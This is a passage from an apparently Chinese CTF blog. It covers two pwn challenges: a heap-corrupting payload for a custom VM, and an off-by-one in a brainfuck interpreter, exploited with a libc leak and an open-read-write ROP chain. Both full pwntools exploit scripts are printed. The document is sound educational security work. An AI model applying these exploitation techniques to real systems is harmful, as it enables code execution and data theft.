8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'split', '-h'])
filename = './vm'
libcname = '/lib/x86_64-linux-gnu/libc.so.6'
debug = 1
if debug == 1:
    p = process(filename)
    elf = ELF(filename)
    libc = ELF(libcname)

def SetReg(offset,val):
    idx = offset / 8
    payload = p8(4)+p8(1)+p8(idx)+p64(val)
    return payload

def SetRegLibcHeap(offset,val,base_reg=2):
    p = SetReg(offset,val)
    p += p8(0)+p8(0)+p8(offset/8)+p8(base_reg)
    return p

def exp(idx):
    #leak libc
    #gdb.attach(p, 'bp $rebase(0xed0)')
    p.recvuntil("give me your code: ")
    payload = p8(0x0c)+p8(0xfc)
    payload += p32(0)*62
    payload += p32(0xffffffff)
    #overwrite the heap's size and free it

    #payload += p8(4)+p8(1)+p8(11)+p64(0x00000ffffffffff)
    #mov data_chunk's size to rsp
    #reg[8] = data_chunk+8
    payload += p8(1)+p8(1)+p8(8)+p64(0x808)
    #reg[0] = 0x711
    payload += p8(4)+p8(0x1)+p8(0)+p64(0x421)
    #*reg[8] = reg[0]
    payload += p8(4)+p8(0x20)+p8(8)+p8(0)
    #reg[8] = data_chunk+0x410
    payload += p8(0)+p8(1)+p8(8)+p64(0x8+0x418)
    #reg[1] = 0x3f1
    payload += p8(4)+p8(1)+p8(1)+p64(0x3f1)
    #*reg[8] = 0x3f1
    payload += p8(4)+p8(0x20)+p8(8)+p8(1)
    #free data_chunk
    payload += p8(13)+p64(0x410)
    #reg[8] = data_chunk
    payload += p8(1)+p8(1)+p8(8)+p64(0x96f0-0x92e0)
    #reg[9] = data_chunk_addr
    payload += p8(1)+p8(1)+p8(9)+p64(0x00005555557596f0-0x5555557582a0)
    payload += p8(0x4)+p8(0x10)+p8(2)+p8(9)
    #now we have libc addr
    #reg[2] = main_arena+96
    off_free_hook_arena = libc.sym['__free_hook'] + 8 - 96 - 0x10 - libc.sym['__malloc_hook']
    #reg[2] = __free_hook
    payload += p8(0)+p8(1)+p8(2)+p64(off_free_hook_arena)
    #reg[3] = main_arena+96
    payload += p8(4)+p8(0x10)+p8(3)+p8(9)
    #reg[3] = setcontext+53
    off_main_arena_setcontext = libc.sym['__malloc_hook'] + 0x10 + 96 - libc.sym['setcontext'] - 53
    #reg[3] = setcontext+53
    payload += p8(1)+p8(1)+p8(3)+p64(off_main_arena_setcontext)
    #_rsp = free_hook
    payload += p8(4)+p8(8)+p8(8)+p8(2)
    #[free_hook] = setcontext+53
    payload += p8(0xa)+p8(0)+p8(3)
    #set rops in heap
    #reg[2] = libc_base
    payload += p8(1)+p8(1)+p8(2)+p64(libc.sym['__free_hook']+8)
    #recover heap
    payload += p8(0)+p8(1)+p8(9)+p64(0x3d0)
    #set rops
    #set rdi = flag_addr
    payload += p8(0)+p8(1)+p8(0xa)+p64(0x1100-0x108)
    #mov flag_addr to +0x68
    payload += p8(4)+p8(8)+p8(0x68/8)+p8(0xa)
    add_rsp_0x10_p = 0x000000000003f2fd
    #0x000000000003f24d : add rsp, 0x10 ; pop rbx ; ret
    #set rip = below
    payload += SetReg(0xa8,add_rsp_0x10_p)
    payload += p8(0)+p8(0)+p8(0xa8/8)+p8(2)
    #set rsp = sth
    payload += p8(1)*2+p8(0xa)+p64(0x1100-0x108-0x90)
    payload += p8(4)+p8(8)+p8(0xa0/8)+p8(0xa)
    #set rsi = 0
    payload += SetReg(0x70,0)
    #set other rops
    p_rdi = 0x000000000002155f
    p_rsi = 0x0000000000023e8a
    p_rdx = 0x0000000000001b96
    p_rax = 0x0000000000043a78
    syscall = 0x00000000000d29d5
    leave = 0x0000000000054803
    p_rsp = 0x0000000000003960
    start_offset = 0x118
    mov_rdi_gadget = 0x0000000000052189
    #0x00000000000520e9 : mov rdi, qword ptr [rdi + 0x68] ; xor eax, eax ; ret
    rops = [
            p_rax,2,
            syscall,
            p_rdi,0,
            p_rsi,libc.sym['__malloc_hook']+0x100,
            p_rdx,0x20,
            p_rax,0,
            syscall,
            p_rdi,libc.sym['__malloc_hook']+0x100+idx-0x68,
            mov_rdi_gadget,
            libc.sym['exit']
            ]
    for i in range(len(rops)):
        if rops[i] <= 60:
            base_reg = 4
        else:
            base_reg = 2
        payload += SetRegLibcHeap(start_offset+8*i,rops[i],base_reg)
    #free
    payload += p8(13)+p64(0x410)
    payload = payload.ljust(0xff8,'\x00')
    payload += "./flag\x00\x00"

    p.send(payload)
    p.recvuntil("Exit code: ")
    flag = int(p.recvline().strip('n'),16)

    return chr(flag)

idx = 0
flag = ""
for idx in range(0x20):
    flag += exp(idx)
    log.success(flag)
    if debug:
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        p = process('./vm')

bf

程序分析

程序实现了一个类似 brainfuck解释器的功能，指令功能如下：

1
2
3
4
5
6
7
8
>    ++ptr
<    --ptr
+    ++(*ptr)
-    --(*ptr)
.    putchar(*ptr)
,    *ptr = getchar()
[    while (*ptr) {
]    }

用户输入的 code小于 0x10，会被分配到栈上，如果大于 0x10则会被分配到 堆上。同时还有一个 0x400大小存储用户的输入，被放到栈上，而且其紧邻着 code的地址。

而在代码中，指针加操作 ++ptr，虽然会对指针的上界进行操作，但是却存储在 off-by-one漏洞。当 v19等于 v23时，导致可以对 code的地址的最后一字节进行修改。

1
2
3
4
5
6
7
8
9
if ( *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](v23, j) == 62 )
{
  v19 = (char *)v19 + 1;
  if ( v19 > v23 )	//off-by-one
  {
    puts("invalid operation!");
    exit(-1);
  }
}

利用分析

  1. 泄露地址

利用off-by-one漏洞，将 code_addr修改到 返回地址处，此时返回地址正好是 __libc_start_main+231的位置，所以可以泄露出 libc地址；

  1. orw

然后利用 读取用户输入到 code处，我们可以将 orw布置到 返回地址处，从而实现读取用户输入。

注意，最后需要将code地址改为正确，完成析构函数。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# encoding=utf-8
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'split', '-h'])
filename = './bf'
libcname = '/lib/x86_64-linux-gnu/libc.so.6'
debug = 1

if debug:
    p = process(filename)
    libc = ELF(libcname)
	elf = ELF(filename)
    
payload = "+[>+],."
p.sendlineafter("your code:\n", payload)
p.recvuntil("running....\n")
gdb.attach(p, "b *$rebase(0x1c85)")
p.send("\xd8")
p.recvuntil("done! your code: ")
libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - 231 - libc.sym['__libc_start_main']
log.success("libc address {}".format(hex(libc.address)))

p_rdi_r = 0x000000000002155f + libc.address
p_rsi_r = 0x0000000000023e8a + libc.address
p_rdx_r = 0x0000000000001b96 + libc.address
p_rax_r = 0x0000000000043a78 + libc.address
syscall = 0x00000000000d29d5 + libc.address
flag_str = libc.sym['__malloc_hook'] + 0x200

orw = flat([
    p_rax_r, 0,
    p_rdi_r, 0,
    p_rsi_r, flag_str,
    p_rdx_r, 0x10,
    syscall, # read
    p_rax_r, 2,
    p_rdi_r, flag_str,
    p_rsi_r, 0,
    syscall, # open
    p_rax_r, 0,
    p_rdi_r, 3,
    p_rsi_r, flag_str+0x10,
    p_rdx_r, 0x30,
    syscall, # read(3, flag_str+0x10, 0x30)
    p_rax_r, 1,
    p_rdi_r, 1,
    p_rsi_r, flag_str+0x10,
    p_rdx_r, 0x30,
    syscall, # write(1, flag_str+0x10, 0x30)
])

p.sendafter("want to continue?\n", "y")
p.sendlineafter("your code:\n", orw + payload.encode())
p.recvuntil("running....\n")
p.send("\x70")
p.sendafter("want to continue?\n", "n")
p.send("./flag")

p.interactive()

best_php

没有环境，希望后面可以复现一下

WEBPWN入门级调试讲解

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing